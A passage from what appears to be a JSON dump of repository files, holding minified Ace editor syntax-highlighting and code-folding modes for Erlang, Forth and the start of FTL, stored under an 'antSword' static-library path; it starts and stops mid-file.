s.erlang\",\"storage.modifier.endianness.erlang\",\"storage.modifier.unit.erlang\",\"punctuation.separator.type-specifiers.erlang\"],regex:\"(integer|float|binary|bytes|bitstring|bits)|(signed|unsigned)|(big|little|native)|(unit)|(-)\"}]}],\"#keyword\":[{token:\"keyword.control.erlang\",regex:\"\\\\b(?:after|begin|case|catch|cond|end|fun|if|let|of|query|try|receive|when)\\\\b\"}],\"#list\":[{token:\"punctuation.definition.list.begin.erlang\",regex:\"\\\\[\",push:[{token:\"punctuation.definition.list.end.erlang\",regex:\"\\\\]\",next:\"pop\"},{token:\"punctuation.separator.list.erlang\",regex:\"\\\\||\\\\|\\\\||,\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.list.erlang\"}]}],\"#macro-directive\":[{token:[\"meta.directive.ifdef.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.ifdef.erlang\",\"keyword.control.directive.ifdef.erlang\",\"meta.directive.ifdef.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.ifdef.erlang\",\"entity.name.function.macro.erlang\",\"meta.directive.ifdef.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.ifdef.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(ifdef)(\\\\s*)(\\\\()(\\\\s*)([a-zA-z\\\\d@_]+)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"},{token:[\"meta.directive.ifndef.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.ifndef.erlang\",\"keyword.control.directive.ifndef.erlang\",\"meta.directive.ifndef.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.ifndef.erlang\",\"entity.name.function.macro.erlang\",\"meta.directive.ifndef.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.ifndef.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(ifndef)(\\\\s*)(\\\\()(\\\\s*)([a-zA-z\\\\d@_]+)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"},{token:[\"meta.directive.undef.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.undef.erlang\",\"keyword.control.directive.undef.erlang\",\"meta.directive.undef.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.undef.erlang\",\"entity.name.function.macro.erlang\",\"meta.directive.undef.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.undef.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(undef)(\\\\s*)(\\\\()(\\\\s*)([a-zA-z\\\\d@_]+)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"}],\"#macro-usage\":[{token:[\"keyword.operator.macro.erlang\",\"meta.macro-usage.erlang\",\"entity.name.function.macro.erlang\"],regex:\"(\\\\?\\\\??)(\\\\s*)([a-zA-Z\\\\d@_]+)\"}],\"#module-directive\":[{token:[\"meta.directive.module.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.module.erlang\",\"keyword.control.directive.module.erlang\",\"meta.directive.module.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.module.erlang\",\"entity.name.type.class.module.definition.erlang\",\"meta.directive.module.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.module.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(module)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*)(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\"}],\"#number\":[{token:\"text\",regex:\"(?=\\\\d)\",push:[{token:\"text\",regex:\"(?!\\\\d)\",next:\"pop\"},{token:[\"constant.numeric.float.erlang\",\"punctuation.separator.integer-float.erlang\",\"constant.numeric.float.erlang\",\"punctuation.separator.float-exponent.erlang\"],regex:\"(\\\\d+)(\\\\.)(\\\\d+)((?:[eE][\\\\+\\\\-]?\\\\d+)?)\"},{token:[\"constant.numeric.integer.binary.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.binary.erlang\"],regex:\"(2)(#)([0-1]+)\"},{token:[\"constant.numeric.integer.base-3.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-3.erlang\"],regex:\"(3)(#)([0-2]+)\"},{token:[\"constant.numeric.integer.base-4.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-4.erlang\"],regex:\"(4)(#)([0-3]+)\"},{token:[\"constant.numeric.integer.base-5.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-5.erlang\"],regex:\"(5)(#)([0-4]+)\"},{token:[\"constant.numeric.integer.base-6.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-6.erlang\"],regex:\"(6)(#)([0-5]+)\"},{token:[\"constant.numeric.integer.base-7.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-7.erlang\"],regex:\"(7)(#)([0-6]+)\"},{token:[\"constant.numeric.integer.octal.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.octal.erlang\"],regex:\"(8)(#)([0-7]+)\"},{token:[\"constant.numeric.integer.base-9.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-9.erlang\"],regex:\"(9)(#)([0-8]+)\"},{token:[\"constant.numeric.integer.decimal.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.decimal.erlang\"],regex:\"(10)(#)(\\\\d+)\"},{token:[\"constant.numeric.integer.base-11.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-11.erlang\"],regex:\"(11)(#)([\\\\daA]+)\"},{token:[\"constant.numeric.integer.base-12.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-12.erlang\"],regex:\"(12)(#)([\\\\da-bA-B]+)\"},{token:[\"constant.numeric.integer.base-13.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-13.erlang\"],regex:\"(13)(#)([\\\\da-cA-C]+)\"},{token:[\"constant.numeric.integer.base-14.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-14.erlang\"],regex:\"(14)(#)([\\\\da-dA-D]+)\"},{token:[\"constant.numeric.integer.base-15.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-15.erlang\"],regex:\"(15)(#)([\\\\da-eA-E]+)\"},{token:[\"constant.numeric.integer.hexadecimal.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.hexadecimal.erlang\"],regex:\"(16)(#)([\\\\da-fA-F]+)\"},{token:[\"constant.numeric.integer.base-17.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-17.erlang\"],regex:\"(17)(#)([\\\\da-gA-G]+)\"},{token:[\"constant.numeric.integer.base-18.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-18.erlang\"],regex:\"(18)(#)([\\\\da-hA-H]+)\"},{token:[\"constant.numeric.integer.base-19.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-19.erlang\"],regex:\"(19)(#)([\\\\da-iA-I]+)\"},{token:[\"constant.numeric.integer.base-20.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-20.erlang\"],regex:\"(20)(#)([\\\\da-jA-J]+)\"},{token:[\"constant.numeric.integer.base-21.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-21.erlang\"],regex:\"(21)(#)([\\\\da-kA-K]+)\"},{token:[\"constant.numeric.integer.base-22.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-22.erlang\"],regex:\"(22)(#)([\\\\da-lA-L]+)\"},{token:[\"constant.numeric.integer.base-23.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-23.erlang\"],regex:\"(23)(#)([\\\\da-mA-M]+)\"},{token:[\"constant.numeric.integer.base-24.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-24.erlang\"],regex:\"(24)(#)([\\\\da-nA-N]+)\"},{token:[\"constant.numeric.integer.base-25.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-25.erlang\"],regex:\"(25)(#)([\\\\da-oA-O]+)\"},{token:[\"constant.numeric.integer.base-26.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-26.erlang\"],regex:\"(26)(#)([\\\\da-pA-P]+)\"},{token:[\"constant.numeric.integer.base-27.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-27.erlang\"],regex:\"(27)(#)([\\\\da-qA-Q]+)\"},{token:[\"constant.numeric.integer.base-28.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-28.erlang\"],regex:\"(28)(#)([\\\\da-rA-R]+)\"},{token:[\"constant.numeric.integer.base-29.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-29.erlang\"],regex:\"(29)(#)([\\\\da-sA-S]+)\"},{token:[\"constant.numeric.integer.base-30.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-30.erlang\"],regex:\"(30)(#)([\\\\da-tA-T]+)\"},{token:[\"constant.numeric.integer.base-31.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-31.erlang\"],regex:\"(31)(#)([\\\\da-uA-U]+)\"},{token:[\"constant.numeric.integer.base-32.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-32.erlang\"],regex:\"(32)(#)([\\\\da-vA-V]+)\"},{token:[\"constant.numeric.integer.base-33.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-33.erlang\"],regex:\"(33)(#)([\\\\da-wA-W]+)\"},{token:[\"constant.numeric.integer.base-34.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-34.erlang\"],regex:\"(34)(#)([\\\\da-xA-X]+)\"},{token:[\"constant.numeric.integer.base-35.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-35.erlang\"],regex:\"(35)(#)([\\\\da-yA-Y]+)\"},{token:[\"constant.numeric.integer.base-36.erlang\",\"punctuation.separator.base-integer.erlang\",\"constant.numeric.integer.base-36.erlang\"],regex:\"(36)(#)([\\\\da-zA-Z]+)\"},{token:\"invalid.illegal.integer.erlang\",regex:\"\\\\d+#[\\\\da-zA-Z]+\"},{token:\"constant.numeric.integer.decimal.erlang\",regex:\"\\\\d+\"}]}],\"#parenthesized-expression\":[{token:\"punctuation.section.expression.begin.erlang\",regex:\"\\\\(\",push:[{token:\"punctuation.section.expression.end.erlang\",regex:\"\\\\)\",next:\"pop\"},{include:\"#everything-else\"},{defaultToken:\"meta.expression.parenthesized\"}]}],\"#record-directive\":[{token:[\"meta.directive.record.erlang\",\"punctuation.section.directive.begin.erlang\",\"meta.directive.record.erlang\",\"keyword.control.directive.import.erlang\",\"meta.directive.record.erlang\",\"punctuation.definition.parameters.begin.erlang\",\"meta.directive.record.erlang\",\"entity.name.type.class.record.definition.erlang\",\"meta.directive.record.erlang\",\"punctuation.separator.parameters.erlang\"],regex:\"^(\\\\s*)(-)(\\\\s*)(record)(\\\\s*)(\\\\()(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(,)\",push:[{token:[\"punctuation.definition.class.record.end.erlang\",\"meta.directive.record.erlang\",\"punctuation.definition.parameters.end.erlang\",\"meta.directive.record.erlang\",\"punctuation.section.directive.end.erlang\"],regex:\"(\\\\})(\\\\s*)(\\\\))(\\\\s*)(\\\\.)\",next:\"pop\"},{include:\"#internal-record-body\"},{defaultToken:\"meta.directive.record.erlang\"}]}],\"#record-usage\":[{token:[\"keyword.operator.record.erlang\",\"meta.record-usage.erlang\",\"entity.name.type.class.record.erlang\",\"meta.record-usage.erlang\",\"punctuation.separator.record-field.erlang\",\"meta.record-usage.erlang\",\"variable.other.field.erlang\"],regex:\"(#)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')(\\\\s*)(\\\\.)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')\"},{token:[\"keyword.operator.record.erlang\",\"meta.record-usage.erlang\",\"entity.name.type.class.record.erlang\"],regex:\"(#)(\\\\s*)([a-z][a-zA-Z\\\\d@_]*|'[^']*')\",push:[{token:\"punctuation.definition.class.record.end.erlang\",regex:\"\\\\}\",next:\"pop\"},{include:\"#internal-record-body\"},{defaultToken:\"meta.record-usage.erlang\"}]}],\"#string\":[{token:\"punctuation.definition.string.begin.erlang\",regex:'\"',push:[{token:\"punctuation.definition.string.end.erlang\",regex:'\"',next:\"pop\"},{token:[\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"punctuation.definition.escape.erlang\",\"constant.character.escape.erlang\",\"constant.character.escape.erlang\"],regex:\"(\\\\\\\\)(?:([bdefnrstv\\\\\\\\'\\\"])|(\\\\^)([@-_])|([0-7]{1,3}))\"},{token:\"invalid.illegal.string.erlang\",regex:\"\\\\\\\\\\\\^?.?\"},{token:[\"punctuation.definition.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"constant.other.placeholder.erlang\"],regex:\"(~)(?:((?:\\\\-)?)(\\\\d+)|(\\\\*))?(?:(\\\\.)(?:(\\\\d+)|(\\\\*)))?(?:(\\\\.)(?:(\\\\*)|(.)))?([~cfegswpWPBX#bx\\\\+ni])\"},{token:[\"punctuation.definition.placeholder.erlang\",\"punctuation.separator.placeholder-parts.erlang\",\"constant.other.placeholder.erlang\",\"constant.other.placeholder.erlang\"],regex:\"(~)((?:\\\\*)?)((?:\\\\d+)?)([~du\\\\-#fsacl])\"},{token:\"invalid.illegal.string.erlang\",regex:\"~.?\"},{defaultToken:\"string.quoted.double.erlang\"}]}],\"#symbolic-operator\":[{token:\"keyword.operator.symbolic.erlang\",regex:\"\\\\+\\\\+|\\\\+|--|-|\\\\*|/=|/|=/=|=:=|==|=<|=|<-|<|>=|>|!|::\"}],\"#textual-operator\":[{token:\"keyword.operator.textual.erlang\",regex:\"\\\\b(?:andalso|band|and|bxor|xor|bor|orelse|or|bnot|not|bsl|bsr|div|rem)\\\\b\"}],\"#tuple\":[{token:\"punctuation.definition.tuple.begin.erlang\",regex:\"\\\\{\",push:[{token:\"punctuation.definition.tuple.end.erlang\",regex:\"\\\\}\",next:\"pop\"},{token:\"punctuation.separator.tuple.erlang\",regex:\",\"},{include:\"#everything-else\"},{defaultToken:\"meta.structure.tuple.erlang\"}]}],\"#variable\":[{token:[\"variable.other.erlang\",\"variable.language.omitted.erlang\"],regex:\"(_[a-zA-Z\\\\d@_]+|[A-Z][a-zA-Z\\\\d@_]*)|(_)\"}]},this.normalizeRules()};s.metaData={comment:\"The recognition of function definitions and compiler directives (such as module, record and macro definitions) requires that each of the aforementioned constructs must be the first string inside a line (except for whitespace).  Also, the function/module/record/macro names must be given unquoted.  -- desp\",fileTypes:[\"erl\",\"hrl\"],keyEquivalent:\"^~E\",name:\"Erlang\",scopeName:\"source.erlang\"},r.inherits(s,i),t.ErlangHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/erlang\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/erlang_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./erlang_highlight_rules\").ErlangHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"%\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/erlang\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-forth.js",
    "content": "ace.define(\"ace/mode/forth_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{include:\"#forth\"}],\"#comment\":[{token:\"comment.line.double-dash.forth\",regex:\"(?:^|\\\\s)--\\\\s.*$\",comment:\"line comments for iForth\"},{token:\"comment.line.backslash.forth\",regex:\"(?:^|\\\\s)\\\\\\\\[\\\\s\\\\S]*$\",comment:\"ANSI line comment\"},{token:\"comment.line.backslash-g.forth\",regex:\"(?:^|\\\\s)\\\\\\\\[Gg] .*$\",comment:\"gForth line comment\"},{token:\"comment.block.forth\",regex:\"(?:^|\\\\s)\\\\(\\\\*(?=\\\\s|$)\",push:[{token:\"comment.block.forth\",regex:\"(?:^|\\\\s)\\\\*\\\\)(?=\\\\s|$)\",next:\"pop\"},{defaultToken:\"comment.block.forth\"}],comment:\"multiline comments for iForth\"},{token:\"comment.block.documentation.forth\",regex:\"\\\\bDOC\\\\b\",caseInsensitive:!0,push:[{token:\"comment.block.documentation.forth\",regex:\"\\\\bENDDOC\\\\b\",caseInsensitive:!0,next:\"pop\"},{defaultToken:\"comment.block.documentation.forth\"}],comment:\"documentation comments for iForth\"},{token:\"comment.line.parentheses.forth\",regex:\"(?:^|\\\\s)\\\\.?\\\\( [^)]*\\\\)\",comment:\"ANSI line comment\"}],\"#constant\":[{token:\"constant.language.forth\",regex:\"(?:^|\\\\s)(?:TRUE|FALSE|BL|PI|CELL|C/L|R/O|W/O|R/W)(?=\\\\s|$)\",caseInsensitive:!0},{token:\"constant.numeric.forth\",regex:\"(?:^|\\\\s)[$#%]?[-+]?[0-9]+(?:\\\\.[0-9]*e-?[0-9]+|\\\\.?[0-9a-fA-F]*)(?=\\\\s|$)\"},{token:\"constant.character.forth\",regex:\"(?:^|\\\\s)(?:[&^]\\\\S|(?:\\\"|')\\\\S(?:\\\"|'))(?=\\\\s|$)\"}],\"#forth\":[{include:\"#constant\"},{include:\"#comment\"},{include:\"#string\"},{include:\"#word\"},{include:\"#variable\"},{include:\"#storage\"},{include:\"#word-def\"}],\"#storage\":[{token:\"storage.type.forth\",regex:\"(?:^|\\\\s)(?:2CONSTANT|2VARIABLE|ALIAS|CONSTANT|CREATE-INTERPRET/COMPILE[:]?|CREATE|DEFER|FCONSTANT|FIELD|FVARIABLE|USER|VALUE|VARIABLE|VOCABULARY)(?=\\\\s|$)\",caseInsensitive:!0}],\"#string\":[{token:\"string.quoted.double.forth\",regex:'(ABORT\" |BREAK\" |\\\\.\" |C\" |0\"|S\\\\\\\\?\" )([^\"]+\")',caseInsensitive:!0},{token:\"string.unquoted.forth\",regex:\"(?:INCLUDE|NEEDS|REQUIRE|USE)[ ]\\\\S+(?=\\\\s|$)\",caseInsensitive:!0}],\"#variable\":[{token:\"variable.language.forth\",regex:\"\\\\b(?:I|J)\\\\b\",caseInsensitive:!0}],\"#word\":[{token:\"keyword.control.immediate.forth\",regex:\"(?:^|\\\\s)\\\\[(?:\\\\?DO|\\\\+LOOP|AGAIN|BEGIN|DEFINED|DO|ELSE|ENDIF|FOR|IF|IFDEF|IFUNDEF|LOOP|NEXT|REPEAT|THEN|UNTIL|WHILE)\\\\](?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.other.immediate.forth\",regex:\"(?:^|\\\\s)(?:COMPILE-ONLY|IMMEDIATE|IS|RESTRICT|TO|WHAT'S|])(?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.control.compile-only.forth\",regex:'(?:^|\\\\s)(?:-DO|\\\\-LOOP|\\\\?DO|\\\\?LEAVE|\\\\+DO|\\\\+LOOP|ABORT\\\\\"|AGAIN|AHEAD|BEGIN|CASE|DO|ELSE|ENDCASE|ENDIF|ENDOF|ENDTRY\\\\-IFERROR|ENDTRY|FOR|IF|IFERROR|LEAVE|LOOP|NEXT|RECOVER|REPEAT|RESTORE|THEN|TRY|U\\\\-DO|U\\\\+DO|UNTIL|WHILE)(?=\\\\s|$)',caseInsensitive:!0},{token:\"keyword.other.compile-only.forth\",regex:\"(?:^|\\\\s)(?:\\\\?DUP-0=-IF|\\\\?DUP-IF|\\\\)|\\\\[|\\\\['\\\\]|\\\\[CHAR\\\\]|\\\\[COMPILE\\\\]|\\\\[IS\\\\]|\\\\[TO\\\\]|<COMPILATION|<INTERPRETATION|ASSERT\\\\(|ASSERT0\\\\(|ASSERT1\\\\(|ASSERT2\\\\(|ASSERT3\\\\(|COMPILATION>|DEFERS|DOES>|INTERPRETATION>|OF|POSTPONE)(?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.other.non-immediate.forth\",regex:\"(?:^|\\\\s)(?:'|<IS>|<TO>|CHAR|END-STRUCT|INCLUDE[D]?|LOAD|NEEDS|REQUIRE[D]?|REVISION|SEE|STRUCT|THRU|USE)(?=\\\\s|$)\",caseInsensitive:!0},{token:\"keyword.other.warning.forth\",regex:'(?:^|\\\\s)(?:~~|BREAK:|BREAK\"|DBG)(?=\\\\s|$)',caseInsensitive:!0}],\"#word-def\":[{token:[\"keyword.other.compile-only.forth\",\"keyword.other.compile-only.forth\",\"meta.block.forth\",\"entity.name.function.forth\"],regex:\"(:NONAME)|(^:|\\\\s:)(\\\\s)(\\\\S+)(?=\\\\s|$)\",caseInsensitive:!0,push:[{token:\"keyword.other.compile-only.forth\",regex:\";(?:CODE)?\",caseInsensitive:!0,next:\"pop\"},{include:\"#constant\"},{include:\"#comment\"},{include:\"#string\"},{include:\"#word\"},{include:\"#variable\"},{include:\"#storage\"},{defaultToken:\"meta.block.forth\"}]}]},this.normalizeRules()};s.metaData={fileTypes:[\"frt\",\"fs\",\"ldr\"],foldingStartMarker:\"/\\\\*\\\\*|\\\\{\\\\s*$\",foldingStopMarker:\"\\\\*\\\\*/|^\\\\s*\\\\}\",keyEquivalent:\"^~F\",name:\"Forth\",scopeName:\"source.forth\"},r.inherits(s,i),t.ForthHighlightRules=s}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/forth\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/forth_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./forth_highlight_rules\").ForthHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"--\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/forth\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-ftl.js",
    "content": "ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|